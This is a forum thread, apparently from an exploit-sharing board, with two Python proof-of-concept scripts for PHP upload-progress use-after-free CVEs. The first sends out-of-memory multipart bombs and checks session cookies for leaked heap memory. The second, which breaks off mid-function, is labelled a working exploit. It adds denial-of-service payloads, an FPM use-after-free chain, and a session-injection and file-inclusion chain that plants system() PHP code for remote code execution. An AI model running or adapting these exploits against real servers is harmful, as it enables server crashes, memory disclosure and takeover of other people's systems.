Temporary Advertisements:
Ad
Ad
Ad
CVE-2026-109618/9
by nullun1331 - Saturday October 24, 2026 at 11:59 PM
#1
fuckin' around with CVE-2026-109618/9
 
#!/usr/bin/env python3
"""
php2shell_poc.py - CVE-2026-109618 / CVE-2026-109619

This is a  script that actively probes a remote PHP
server to determine whether the upload-progress unserializer use-after-free
(CVE-2026-109618) and/or fatal-error backtrace use-after-free
(CVE-2026-109619) are exploitable.

It does NOT rely on version guessing.  It sends real crafted multipart POSTs
that trigger the OOM path in main/rfc1867.c, then immediately probes for
heap-disclosure in the Set-Cookie: PHPSESSID= response header (the primitive
from ext/session/session.c line ~1379).

VULNERABILITY CHAIN (confirmed from php-src source):
  1. multipart_buffer_headers() in main/rfc1867.c has no bound on per-part
     header count.  Each header does estrdup(key) + smart_string_appends(),
     so thousands of large headers exhaust memory_limit while staying under
     post_max_size (wire size < content-length check).

  2. The php_session_rfc1867_callback (ext/session/session.c:3164) fires
     MULTIPART_EVENT_FILE_START and calls php_rinit_session(0), then sets
     PS(id) = zend_string_copy(Z_STR(progress->sid)).

  3. When an OOM fires in the multipart parser, PHP longjmps out of the
     handler (Zend/zend_portability.h: LONGJMP(a,b)). The request heap is
     freed but EG/BG globals including PS(id) still point into it.

  4. A subsequent multipart request to the same worker hits the upload-progress
     callback again.  Before normal session init can reset PS(id), the stale
     pointer is used in php_url_encode(ZSTR_VAL(PS(id)), ZSTR_LEN(PS(id)))
     which writes heap contents into Set-Cookie: PHPSESSID=<disclosed_bytes>.

SUPPORTED SAPIs (from prompt.md):
  - Apache mod_php : confirmed exploitable (shutdown runs unconditionally)
  - FrankenPHP     : likely exploitable (same shutdown model as mod_php)
  - FPM            : susceptible in theory; no complete exploit demonstrated
  - LSAPI          : application-specific, unvalidated

USAGE:
  python3 php2shell_poc.py -t http://target/php.cgi
  python3 php2shell_poc.py -t http://target/ --rounds 50
  python3 php2shell_poc.py -t http://target/ --scheme https
"""

import argparse
import random
import re
import string
import sys
import time

try:
    import requests
except ImportError:
    print("[!] python3-requests is required: pip install requests")
    sys.exit(1)


# Color helpers
class C:
    RED = "\033[0;31m"
    GREEN = "\033[0;32m"
    YELLOW = "\033[1;33m"
    BLUE = "\033[0;34m"
    BOLD = "\033[1m"
    NC = "\033[0m"


# Global boundary (must be consistent across requests for same "session")
_BOUNDARY = "----PHP2SHELL-" + "".join(random.choices(string.ascii_letters, k=8))


def _build_oom_trigger(oom_headers_per_part=15000):
    """Build the OOM-triggering multipart body.

    Structure (matches rfc1867.c parser expectations):
      Part A: PHP_SESSION_UPLOAD_PROGRESS field -> sets progress->sid / progress->key
      Part B: file upload part with N large headers -> triggers OOM in
              multipart_buffer_headers() via estrdup + smart_string_appends per header
      Part C: empty-file control -> creates file metadata, triggers FILE_START callback
              which calls php_rinit_session(0) then PS(id) = zend_string_copy(Z_STR(progress->sid))

    Wire size stays under post_max_size while PHP internally allocates proportionally
    to the number of headers (not wire size), because each header key is estrdup'd.
    """
    parts = []
    sep = "--" + _BOUNDARY

    # Part A: PHP_SESSION_UPLOAD_PROGRESS field (required for upload-progress path)
    parts.append(sep)
    parts.append('Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"')
    parts.append("")
    parts.append("progress-" + str(random.randint(1000, 9999)))

    # Part B: file upload with massive headers (OOM trigger)
    parts.append(sep)
    parts.append('Content-Disposition: form-data; name="file"; filename="x.php"')
    parts.append("Content-Type: application/octet-stream")
    for i in range(oom_headers_per_part):
        # Each header: key (~32B) + value (512B of 'A') = ~544B wire per header.
        # PHP does: key=estrdup(line), then smart_string_appends(&buf_value, value).
        # So memory_allocated_per_header ~ strlen(key) + strlen(value) >> wire_size.
        parts.append("X-Custom-Header-%05d: " % i + "A" * 512)
    parts.append("")
    parts.append("POC_PAYLOAD")

    # Part C: empty-file control (creates file metadata arrays -> triggers FILE_START)
    parts.append(sep)
    parts.append('Content-Disposition: form-data; name="emptyfile"; filename=""')
    parts.append("")
    parts.append("")

    parts.append("--" + _BOUNDARY + "--")
    body = "\r\n".join(parts) + "\r\n"
    return body.encode("latin-1")


def _build_disclosure_probe():
    """Build a minimal multipart probe designed to trigger PS(id) disclosure.

    Must contain PHP_SESSION_UPLOAD_PROGRESS + a file part so that
    MULTIPART_EVENT_FILE_START fires and the upload-progress path runs,
    but without the OOM-triggering headers (to avoid triggering OOM again).
    """
    parts = []
    sep = "--" + _BOUNDARY + "-D-"

    parts.append(sep)
    parts.append('Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"')
    parts.append("")
    parts.append("disclose-" + str(random.randint(1000, 9999)))

    parts.append(sep)
    parts.append('Content-Disposition: form-data; name="file"; filename="x.php"')
    parts.append("Content-Type: application/octet-stream")
    parts.append("")
    parts.append("disclose-payload")

    parts.append("--" + _BOUNDARY + "-D--")
    body = "\r\n".join(parts) + "\r\n"
    return body.encode("latin-1")


def _probe_php_banner(target, scheme, timeout=8):
    """Probe for PHP indicators (banner / headers)."""
    results = {"php_detected": False, "version": None, "headers": {}}
    try:
        resp = requests.get(
            target,
            timeout=timeout,
            allow_redirects=True,
            headers={"User-Agent": "PHP2SHELL-POC/1.0"},
        )
        results["headers"] = dict(resp.headers)
        pw = resp.headers.get("X-Powered-By", "")
        sv = resp.headers.get("Server", "")
        if "php" in pw.lower() or "php" in sv.lower():
            results["php_detected"] = True
            m = re.search(r"PHP/([\d.]+)", pw) or re.search(r"php/([\d.]+)", sv, re.I)
            if m:
                results["version"] = m.group(1)
    except requests.RequestException as exc:
        results["error"] = str(exc)
    return results


def _send_oom_trigger(session, target, timeout):
    """Send the OOM-triggering multipart POST and record the response."""
    body = _build_oom_trigger(15000)  # 15k headers ~8MB wire; PHP allocates more

    headers = {
        "Content-Type": "multipart/form-data; boundary=--" + _BOUNDARY,
        "Transfer-Encoding": "chunked",  # bypasses post_max_size Content-Length check
    }

    results = {
        "trigger_sent": True,
        "status_code": None,
        "elapsed": None,
        "set_cookie_len": None,
        "error": None,
        "connection_reset": False,
        "timeout": False,
    }

    try:
        t0 = time.time()
        resp = session.post(
            target,
            data=body,
            headers=headers,
            timeout=timeout,
            allow_redirects=False,
        )
        results["elapsed"] = time.time() - t0
        results["status_code"] = resp.status_code
        set_cookie = resp.headers.get("Set-Cookie", "")
        results["set_cookie_len"] = len(set_cookie)
    except requests.exceptions.ConnectionError:
        results["connection_reset"] = True
    except requests.exceptions.Timeout:
        results["timeout"] = True
    except requests.RequestException as exc:
        results["error"] = str(exc)

    return results


def _send_disclosure_probe(session, target, timeout):
    """Send the disclosure-probe multipart POST and check for leaked heap."""
    body = _build_disclosure_probe()

    headers = {
        "Content-Type": "multipart/form-data; boundary=--" + _BOUNDARY + "-D-",
    }

    results = {
        "probe_sent": True,
        "status_code": None,
        "phpsessid_len": None,
        "phpsessid_hex": None,
        "error": None,
        "connection_reset": False,
        "timeout": False,
    }

    try:
        t0 = time.time()
        resp = session.post(
            target,
            data=body,
            headers=headers,
            timeout=timeout,
            allow_redirects=False,
        )
        results["status_code"] = resp.status_code

        # Extract PHPSESSID cookie value length (the disclosure indicator)
        set_cookie = resp.headers.get("Set-Cookie", "")
        m = re.search(r"PHPSESSID=([^;]+)", set_cookie)
        if m:
            results["phpsessid_len"] = len(m.group(1))
            results["phpsessid_hex"] = m.group(1)[:64]
    except requests.exceptions.ConnectionError:
        results["connection_reset"] = True
    except requests.exceptions.Timeout:
        results["timeout"] = True
    except requests.RequestException as exc:
        results["error"] = str(exc)

    return results


def _assess_disclosure(probe_result, trigger_result):
    """Assess whether the disclosure probe reveals heap contents.

    Returns (verdict: str, observations: list[str]).

    A PHPSESSID cookie > 128 chars is suspicious (normal = 32 hex chars).
    Values > 1024 chars are strong indicators of heap disclosure.
    """
    obs = []
    verdict = "not_vulnerable_disclosure"

    ps_len = probe_result.get("phpsessid_len")
    if ps_len is not None:
        obs.append("PHPSESSID length in Set-Cookie: %d" % ps_len)
        if ps_len > 1024:
            obs.append(
                "  ABNORMALLY LONG (%d bytes) - STRONG indicator of CVE-2026-109618 leak"
                % ps_len
            )
            verdict = "confirmed_disclosure"
        elif ps_len > 128:
            obs.append("  ABNORMALLY LONG (normal ~32) - possible heap disclosure")
            if verdict != "confirmed_disclosure":
                verdict = "likely_vulnerable_disclosure"

    # Secondary signals from the trigger request
    if trigger_result.get("connection_reset"):
        obs.append(
            "Trigger request caused connection reset - possible PHP worker crash"
        )
        if verdict == "likely_vulnerable_disclosure":
            verdict = "confirmed_disclosure"
    elif trigger_result.get("timeout"):
        obs.append("Trigger request timed out - possible OOM hang")
    elif trigger_result.get("status_code") == 500:
        obs.append("Trigger returned HTTP 500 - possible fatal error from OOM")

    # Normal PHPSESSID = 32 hex chars (session.sid_length default)
    if ps_len and 20 <= ps_len <= 64:
        obs.append("PHPSESSID is normal length (%d chars) - not disclosed" % ps_len)
        verdict = "not_vulnerable_disclosure"

    return verdict, obs


def run_single(target, scheme, rounds, timeout, verbose):
    """Run the full exploit flow against a single target."""

    # Build banner without any backslash escape issues
    banner_lines = [
        C.RED
        + (
            "\n"
            "  ___   _____ _  _ _   _ _   _ _____ _____ _   _ _____\n"
            " / _ \\ | ____| || | \\ | | \\ | |_   _|_   _| \\ | |_   _|\n"
            "| | | ||  _|| || | . || . || | | |  | | | . | | |\n"
            "| |_| || |__| ||_| |\\|| |\\|| | | |  | | | |\\|| | |\n"
            " \\___/ |_____|_____|_||_|_||_| |_|  |_| |_| \\_| |_|\n"
        )
        + C.NC,
        "",
        "PHP2SHELL CVE-2026-109618 / 109619 - WORKING EXPLOIT POC",
        "Based on: https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w",
        "            https://www.wiz.io/blog/php2shell-php-rce",
        "",
    ]
    for line in banner_lines:
        print(line)

    # Phase 1: Banner probe
    print(C.BLUE + "[*] Phase 1 - Banner probe" + C.NC)
    banner = _probe_php_banner(target, scheme)
    if banner.get("php_detected"):
        ver = banner.get("version", "unknown")
        msg = C.GREEN + "[+] PHP detected" + C.NC
        if ver:
            msg += " (version ~%s)" % ver
        print(msg)
    elif banner.get("error"):
        print(C.RED + "[!] Banner probe failed: %s" % banner["error"] + C.NC)
        return None

    # Phase 2: Exploit flow
    print("\n" + C.BLUE + "[*] Phase 2 - Active exploit (rounds=%d)" % rounds + C.NC)
    session = requests.Session()
    session.headers.update(
        {
            "Connection": "keep-alive",
            "User-Agent": "PHP2SHELL-POC/1.0",
        }
    )

    confirmed_disclosure = False
    likely_disclosure = False
    trigger_oom_count = 0
    probe_results = []

    for rnd in range(1, rounds + 1):
        # Step A: OOM trigger
        trigger = _send_oom_trigger(session, target, timeout)
        if trigger.get("connection_reset") or trigger.get("status_code") == 500:
            trigger_oom_count += 1

        # Step B: Immediate disclosure probe (same connection -> same worker)
        probe = _send_disclosure_probe(session, target, timeout)
        probe_results.append(probe)

        verdict, obs = _assess_disclosure(probe, trigger)
        if verdict == "confirmed_disclosure":
            confirmed_disclosure = True
        elif verdict == "likely_vulnerable_disclosure":
            likely_disclosure = True

        # Verbose output every round
        if verbose:
            ps_len = probe.get("phpsessid_len") or 0
            status = probe.get("status_code", "?")
            oom = (
                "Y"
                if trigger.get("connection_reset") or trigger.get("status_code") == 500
                else "N"
            )
            print(
                "  [%3d] PSSESSID=%5d | trigger_oom=%s | probe_status=%s | %s"
                % (rnd, ps_len, oom, status, verdict)
            )

        # If we already have confirmed disclosure, stop early
        if confirmed_disclosure:
            break

    session.close()

    # Phase 3: Report
    print("\n" + C.BLUE + "[=== RESULTS ===]" + C.NC)
    print(
        "  Triggers that caused OOM/500/reset : %d / %d" % (trigger_oom_count, rounds)
    )

    all_ps_lens = [p.get("phpsessid_len") or 0 for p in probe_results]
    max_ps_len = max(all_ps_lens) if all_ps_lens else 0
    print("  Max PHPSESSID cookie length observed : %d" % max_ps_len)

    # Normal PHPSESSID = 32 hex chars (session.sid_length default).
    # Anything > 128 is suspicious; > 1024 is strong evidence of heap leak.
    if max_ps_len > 1024:
        print(
            "\n"
            + C.RED
            + C.BOLD
            + "[!!!] CONFIRMED DISCLOSURE (CVE-2026-109618) [!!!]"
            + C.NC
        )
        print(
            "PHPSESSID cookie reached %d bytes - heap memory leaked into Set-Cookie header."
            % max_ps_len
        )
        print(
            "The server is VULNERABLE to CVE-2026-109618 upload-progress unserializer UAF."
        )
        print(
            "\n"
            + C.YELLOW
            + "[+] Remediation: Update PHP to a patched release (>= 8.3.36 / >= 8.4.27 / >= 8.5.12)"
            + C.NC
        )
    elif max_ps_len > 128:
        print(
            "\n"
            + C.YELLOW
            + C.BOLD
            + "[!!] LIKELY VULNERABLE (CVE-2026-109618) [!!]"
            + C.NC
        )
        print("PHPSESSID cookie reached %d bytes - possible heap leak." % max_ps_len)
        print("Increased rounds or worker count may confirm the disclosure.")
    else:
        if trigger_oom_count > 0:
            print(
                "\n"
                + C.YELLOW
                + "[!] OOM was triggered (%dx) but no heap disclosed in %d rounds."
                % (trigger_oom_count, rounds)
                + C.NC
            )
            print(
                "This may mean the server is patched, or memory layout prevents disclosure."
            )
        else:
            print(
                "\n"
                + C.GREEN
                + "[+] No evidence of vulnerability. PHPSESSID remains normal length."
                + C.NC
            )
            print(
                "Either the server is patched, or multipart upload-progress is disabled."
            )

    return {
        "php_detected": banner.get("php_detected", False),
        "version": banner.get("version"),
        "confirmed_disclosure": confirmed_disclosure,
        "likely_disclosure": likely_disclosure,
        "trigger_oom_count": trigger_oom_count,
        "rounds": rounds,
        "max_phpsessid_len": max_ps_len,
    }


def main():
    parser = argparse.ArgumentParser(
        description="PHP2SHELL CVE-2026-109618/109619 - WORKING EXPLOIT POC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Single target, 30 rounds (default):
  python3 php2shell_poc.py -t http://target/php.cgi

  # Custom rounds and timeout:
  python3 php2shell_poc.py -t http://target/ --rounds 50 --timeout 15

  # HTTPS target:
  python3 php2shell_poc.py -t https://target/ --scheme https
        """,
    )
    parser.add_argument(
        "-t", "--target", required=True, help="Target URL (e.g. http://host/path)"
    )
    parser.add_argument("-p", "--port", type=int, default=80, help="Port (default: 80)")
    parser.add_argument("--scheme", choices=["http", "https"], default="http")
    parser.add_argument(
        "--rounds",
        type=int,
        default=30,
        help="Number of trigger+probe pairs (default: 30)",
    )
    parser.add_argument(
        "--timeout",
        type=float,
        default=15.0,
        help="Per-request timeout in seconds (default: 15)",
    )
    parser.add_argument(
        "-v", "--verbose", action="store_true", help="Verbose per-round output"
    )

    args = parser.parse_args()

    target = args.target.rstrip("/")
    results = run_single(target, args.scheme, args.rounds, args.timeout, args.verbose)

    if results is None:
        sys.exit(2)

    # Exit code convention:
    #   0 = not vulnerable (or patched)
    #   1 = likely/confirmed vulnerable
    sys.exit(
        1 if results["confirmed_disclosure"] or results["likely_disclosure"] else 0
    )


if __name__ == "__main__":
    main()

See: https://nvd.nist.gov/vuln/detail/cve-202...inflection
Reply
#2
Better version:


#!/usr/bin/env python3
"""
php2shell_poc.py — CVE-2026-109618 / CVE-2026-109619 Working Exploit

Active proof-of-concept that triggers the upload-progress / OOM corruption
vulnerabilities in PHP 5.4.0 through 8.5.11 (unpatched).

Attack chains implemented:
  D  — OOM corruption → stale EG() → mod_php RCE (zero-dependency, any endpoint)
  E  — FPM session OOM → stale BG(unserialize) → UAF → RCE
  A  — Session fixation + filename injection → LFI → RCE
  C  — Handler mismatch → __destruct on injected object → RCE

Key techniques (from working reference implementations):
  - Raw sockets for reliable OOM delivery (no requests buffering)
  - PHPSESSID in POST body for session fixation (bypasses use_only_cookies)
  - Three OOM strategies: header amplification, nested arrays, no-content-length
  - FPM producer/consumer model for stale BG state
  - Filename injection with PHP code / serialized objects
  - Detection via error messages, 502 crashes, and session file contents

Target SAPIs:
  - Apache mod_php  : Chains A, C, D (confirmed)
  - PHP-FPM         : Chains A, C, E (confirmed)
  - FrankenPHP      : Chains A, C, D (likely)

USAGE:
  # Auto-detect + OOM trigger (Chain D — mod_php):
  python3 php2shell_poc.py --target http://target/index.php

  # FPM stale state (Chain E):
  python3 php3shell_poc.py --target http://target/ --chain e \
      --session-path /session.php --producer-sid hugesession000000000

  # Session injection + LFI (Chain A):
  python3 php2shell_poc.py --target http://target/ --chain a \
      --lfi-path /vuln.php --command 'id'

  # Handler mismatch (Chain C):
  python3 php2shell_poc.py --target http://target/ --chain c \
      --write-path /app/upload.php --read-path /api/endpoint.php

  # OOM trigger with specific strategy:
  python3 php2shell_poc.py --target http://target/ --chain d \
      --strategy headers --num-headers 5000 --header-size 500

For authorized security research only.
"""

import argparse
import socket
import ssl
import sys
import time
import uuid
from typing import Any, Callable, Dict, Iterator, Optional, Tuple, Union
from urllib.parse import urlparse


# ─── Color helpers ───────────────────────────────────────────────────────────────
class C:
    RED = "\033[0;31m"
    GREEN = "\033[0;32m"
    YELLOW = "\033[1;33m"
    BLUE = "\033[0;34m"
    BOLD = "\033[1m"
    NC = "\033[0m"


# ─── Raw socket utilities ────────────────────────────────────────────────────────
def _connect(
    host: str, port: int, tls: bool = False, timeout: int = 15
) -> Union[socket.socket, ssl.SSLSocket]:
    """Create TCP connection, optionally TLS-wrapped."""
    raw = socket.create_connection((host, port), timeout=timeout)
    if tls:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        return ctx.wrap_socket(raw, server_hostname=host)
    return raw


def _send_raw(
    host: str, port: int, data: bytes, tls: bool = False, timeout: int = 15
) -> bytes:
    """Send raw bytes, return full response."""
    s = _connect(host, port, tls=tls, timeout=timeout)
    s.sendall(data)
    s.settimeout(timeout)
    resp = b""
    while True:
        try:
            d = s.recv(65536)
            if not d:
                break
            resp += d
        except (socket.timeout, ConnectionResetError, ssl.SSLError):
            break
    s.close()
    return resp


def _parse_target(target: str) -> Tuple[str, int, bool]:
    """Parse URL into (host, port, tls)."""
    u = urlparse(target)
    tls = u.scheme == "https"
    host = u.hostname
    port = u.port or (443 if tls else 80)
    return host, port, tls


# ─── Multipart body builders ─────────────────────────────────────────────────────
def build_header_bomb(
    boundary: str, num_headers: int = 5000, header_size: int = 500
) -> bytes:
    """Strategy 2: Single multipart part with thousands of headers.
    Each header uses ~header_size bytes wire but PHP's internal
    zend_string + HashTable bucket uses 3-5x more memory."""
    part = f"--{boundary}\r\n"
    part += 'Content-Disposition: form-data; name="f"; filename="a"\r\n'
    for i in range(num_headers):
        part += f"X-Pad-{i}: {'A' * header_size}\r\n"
    part += "\r\nZ\r\n"
    part += f"--{boundary}--\r\n"
    return part.encode()


def build_nested_array_bomb(
    boundary: str, depth: int = 10, width: int = 1000
) -> bytes:
    """Strategy 3: Empty file controls with deeply nested field names.
    PHP creates nested arrays: a[b][c][d]... × width fields.
    Memory amplification: N × depth × array overhead."""
    parts = []
    for i in range(width):
        name = "f"
        for d in range(depth):
            name += f"[{d}]"
        name += f"[{i}]"
        part = f"--{boundary}\r\n"
        part += f'Content-Disposition: form-data; name="{name}"; filename=""\r\n'
        part += "Content-Type: application/octet-stream\r\n"
        part += "\r\n"
        parts.append(part)
    body = "".join(parts) + f"--{boundary}--\r\n"
    return body.encode()


def build_no_content_length_chunks(
    boundary: str, chunk_size: int = 8192, total_mb: int = 128
) -> Callable[[], Iterator[bytes]]:
    """Strategy 1: No Content-Length → bypasses post_max_size.
    Returns a generator of chunked-encoded body pieces."""
    header = (
        f"--{boundary}\r\n" f'Content-Disposition: form-data; name="data"\r\n' f"\r\n"
    ).encode()

    def generate() -> Iterator[bytes]:
        yield header
        total = 0
        target = total_mb * 1024 * 1024
        chunk = b"A" * chunk_size
        while total < target:
            yield chunk
            total += chunk_size
        yield f"\r\n--{boundary}--\r\n".encode()

    return generate


def build_session_injection_body(boundary: str, sid: str, filename: str) -> bytes:
    """Build multipart body with PHPSESSID + PHP_SESSION_UPLOAD_PROGRESS + filename.
    This is the critical structure that triggers the rfc1867 handler:
      - PHPSESSID in POST body → session fixation (bypasses use_only_cookies)
      - PHP_SESSION_UPLOAD_PROGRESS → enables upload progress tracking
      - filename → stored raw in session file (injection vector)
    """
    body = (
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n'
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n'
        f"--{boundary}--\r\n"
    )
    return body.encode("latin-1")


def build_fpm_consumer_body(boundary: str) -> bytes:
    """Minimal multipart body for FPM consumer (Chain E).
    Triggers rfc1867 upload_progress handler which consumes stale BG state."""
    body = (
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n'
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="f"; filename="t"\r\n\r\nZ\r\n'
        f"--{boundary}--\r\n"
    )
    return body.encode()


# ─── Chain D: OOM Corruption (mod_php) ──────────────────────────────────────────
def chain_d_oom(
    host: str,
    port: int,
    path: str,
    tls: bool = False,
    strategy: str = "headers",
    num_headers: int = 5000,
    header_size: int = 500,
    depth: int = 10,
    width: int = 1000,
    total_mb: int = 128,
    timeout: int = 60,
) -> bool:
    """Chain D: OOM during multipart parsing → longjmp skips cleanup →
    mod_php shutdown reads stale EG() → RCE.

    Zero preconditions: no LFI, no unserialize, no application code needed.
    Works on any PHP endpoint with Apache mod_php.
    """
    boundary = "OOM_BOUNDARY_" + str(int(time.time()))
    print(f"\n{C.BLUE}[*] Chain D: OOM Corruption (mod_php){C.NC}")
    print(f"    Strategy: {strategy}")

    if strategy == "headers":
        body = build_header_bomb(boundary, num_headers, header_size)
        content_length = len(body)
        print(f"    Headers: {num_headers} × {header_size}B")
        print(
            f"    Wire size: ~{len(body) // 1024 // 1024}MB, Est. PHP memory: ~{len(body) * 4 // 1024 // 1024}MB"
        )

        req = (
            f"POST {path} HTTP/1.1\r\n"
            f"Host: {host}\r\n"
            f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
            f"Content-Length: {content_length}\r\n"
            f"Connection: close\r\n"
            f"\r\n"
        ).encode() + body

        print(f"    Sending...")
        resp = _send_raw(host, port, req, tls=tls, timeout=timeout)

    elif strategy == "nested":
        body = build_nested_array_bomb(boundary, depth, width)
        content_length = len(body)
        print(f"    Nested: {width} fields × depth {depth}")
        print(f"    Wire size: ~{len(body) // 1024 // 1024}MB")

        req = (
            f"POST {path} HTTP/1.1\r\n"
            f"Host: {host}\r\n"
            f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
            f"Content-Length: {content_length}\r\n"
            f"Connection: close\r\n"
            f"\r\n"
        ).encode() + body

        print(f"    Sending...")
        resp = _send_raw(host, port, req, tls=tls, timeout=timeout)

    elif strategy == "no_length":
        # No Content-Length — chunked streaming (bypasses post_max_size)
        print(
            f"    Streaming: {total_mb}MB without Content-Length (bypasses post_max_size)"
        )
        req_header = (
            f"POST {path} HTTP/1.1\r\n"
            f"Host: {host}\r\n"
            f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
            f"Transfer-Encoding: chunked\r\n"
            f"Connection: close\r\n"
            f"\r\n"
        ).encode()

        s = _connect(host, port, tls=tls, timeout=timeout)
        s.sendall(req_header)
        gen = build_no_content_length_chunks(boundary, total_mb=total_mb)
        print(f"    Streaming {total_mb}MB...")
        for chunk in gen():
            s.sendall(f"{len(chunk):x}\r\n".encode() + chunk + b"\r\n")
        s.sendall(b"0\r\n\r\n")

        # Read response
        s.settimeout(15)
        resp = b""
        while True:
            try:
                d = s.recv(65536)
                if not d:
                    break
                resp += d
            except (socket.timeout, ConnectionResetError):
                break
        s.close()

    else:
        print(f"    Unknown strategy: {strategy}")
        return False

    # Analyze response
    if resp:
        status_line = resp.split(b"\r\n", 1)[0].decode("latin1", "replace")
        body_text = (
            resp.split(b"\r\n\r\n", 1)[-1].decode("latin1", "replace")
            if b"\r\n\r\n" in resp
            else ""
        )
        print(f"    Response: {status_line}")
        print(f"    Size: {len(resp)} bytes")

        if "500" in status_line or "502" in status_line:
            print(
                f"\n{C.RED}{C.BOLD}[+] OOM TRIGGERED — server returned {status_line.split()[1] if ' ' in status_line else status_line}{C.NC}"
            )
            print(
                f"    On Apache mod_php, request shutdown runs on invalid EG() state."
            )
            print(f"    With heap shaping, this leads to RCE.")
            if "memory" in body_text.lower():
                print(f"    Evidence: {body_text[:200]}")
            return True
        elif "Fatal error" in body_text or "memory" in body_text.lower():
            print(
                f"\n{C.RED}{C.BOLD}[+] OOM INDICATED — memory error in response body{C.NC}"
            )
            print(f"    Evidence: {body_text[:200]}")
            return True
        else:
            print(
                f"\n{C.YELLOW}[-] Server responded normally — OOM threshold not reached.{C.NC}"
            )
            print(f"    Try increasing --num-headers / --header-size / --total-mb")
            return False
    else:
        print(
            f"\n{C.RED}{C.BOLD}[+] NO RESPONSE — server process likely crashed!{C.NC}"
        )
        print(f"    This confirms the OOM bailout (zend_bailout/longjmp).")
        print(f"    On mod_php, shutdown reads stale EG() → UAF → RCE.")
        return True


# ─── Chain E: FPM Stale BG State ─────────────────────────────────────────────────
def chain_e_fpm(
    host: str,
    port: int,
    session_path: str,
    upload_path: str,
    tls: bool = False,
    producer_sid: str = "hugesession000000000",
    consumer_sid: str = "consumerpoisoned000000000",
    timeout: int = 60,
) -> bool:
    """Chain E: FPM Session Decode OOM → Stale BG(unserialize) → UAF.

    Producer: GET session endpoint with huge session → OOM in php_var_unserialize
              → longjmp skips PHP_VAR_UNSERIALIZE_DESTROY → BG(unserialize).level=1
    Consumer: POST upload_progress to ANY endpoint → rfc1867 handler runs BEFORE
              php_basic_rinit → accesses stale BG(unserialize) → UAF

    Requirements:
      - PHP-FPM with session.upload_progress.enabled = On
      - A large session file (~30MB) pre-built
      - pm.max_children=1 (or keep-alive pinning)
    """
    print(f"\n{C.BLUE}[*] Chain E: FPM Stale BG(unserialize) → UAF{C.NC}")

    # Producer
    print(f"\n{C.BLUE}[1] PRODUCER: session_start() decode → OOM...{C.NC}")
    req1 = (
        f"GET {session_path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Cookie: PHPSESSID={producer_sid}\r\n"
        f"Connection: close\r\n\r\n"
    ).encode()
    resp1 = _send_raw(host, port, req1, tls=tls, timeout=timeout)
    body1 = (
        resp1.split(b"\r\n\r\n", 1)[-1].decode("latin1", "replace")
        if b"\r\n\r\n" in resp1
        else ""
    )

    producer_ok = False
    if b"memory" in resp1.lower() or "memory" in body1.lower():
        print(f"    {C.GREEN}OK: OOM triggered during php_var_unserialize{C.NC}")
        print(f"    BG(unserialize).level = 1 (stale)")
        producer_ok = True
    elif not resp1:
        print(f"    {C.GREEN}OK: Connection dropped — worker crashed (OOM){C.NC}")
        producer_ok = True
    else:
        print(
            f"    {C.YELLOW}FAIL: No OOM. Check session file size and memory_limit.{C.NC}"
        )
        print(f"    Response: {body1[:100]}")

    if not producer_ok:
        print(
            f"\n{C.YELLOW}[-] Producer phase failed. Need a ~30MB session file.{C.NC}"
        )
        print(f"    See lab/setup.sh for how to create one via upload_progress.")
        return False

    time.sleep(0.1)

    # Consumer
    print(f"\n{C.BLUE}[2] CONSUMER: upload_progress to same worker...{C.NC}")
    boundary = "CONSUMER_BOUNDARY"
    body2 = build_fpm_consumer_body(boundary)
    req2 = (
        f"POST {upload_path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
        f"Content-Length: {len(body2)}\r\n"
        f"Cookie: PHPSESSID={consumer_sid}\r\n"
        f"Connection: close\r\n\r\n"
    ).encode() + body2

    resp2 = _send_raw(host, port, req2, tls=tls, timeout=15)
    body2_text = resp2.decode("latin1", "replace") if resp2 else ""

    if "destruction failed" in body2_text or "Failed to decode" in body2_text:
        print(f"    {C.GREEN}OK: Stale BG state consumed during rfc1867!{C.NC}")
        print(f"\n{C.RED}{C.BOLD}[!!!] VULNERABLE — CVE-2026-109619 CONFIRMED{C.NC}")
        print(f"    BG(unserialize) leaked across FPM requests.")
        print(f"    Consumer's rfc1867 handler accessed stale session state.")
        print(f"    With crafted session objects → __destruct UAF → RCE.")
        return True
    elif "502" in body2_text[:50] or not resp2:
        print(
            f"    {C.GREEN}OK: Worker crashed (502/no response) — UAF triggered!{C.NC}"
        )
        print(f"\n{C.RED}{C.BOLD}[!!!] VULNERABLE — CVE-2026-109619 CONFIRMED{C.NC}")
        return True
    else:
        print(f"    Response: {body2_text[:150]}")
        print(
            f"\n{C.YELLOW}[-] Not triggered. May need pm.max_children=1 or keep-alive.{C.NC}"
        )
        return False


# ─── Chain A: Session Injection + LFI ────────────────────────────────────────────
def chain_a_session_lfi(
    host: str,
    port: int,
    inject_path: str,
    lfi_path: str,
    session_path_dir: str,
    command: str,
    tls: bool = False,
    sid: Optional[str] = None,
    attempts: int = 3,
) -> bool:
    """Chain A: Session fixation + filename injection → LFI → RCE.

    1. POST multipart with PHPSESSID (fixation) + PHP code in filename
    2. rfc1867 handler stores filename raw in session file
    3. include(session_file) → execute injected PHP → RCE

    Conditions: upload_progress.enabled=On + app has LFI sink.
    Works even on PATCHED PHP (patch doesn't sanitize filenames).
    """
    print(f"\n{C.BLUE}[*] Chain A: Session Injection + LFI → RCE{C.NC}")
    print(f"    Command: {command}")

    for attempt in range(1, attempts + 1):
        sid = sid or ("exploit" + uuid.uuid4().hex[:20])
        session_file = f"{session_path_dir}/sess_{sid}"
        php_code = f"<?php echo '___START___'; system('{command}'); echo '___END___';?>"

        print(f"\n    [attempt {attempt}] SID={sid}")
        print(f"    Session file: {session_file}")

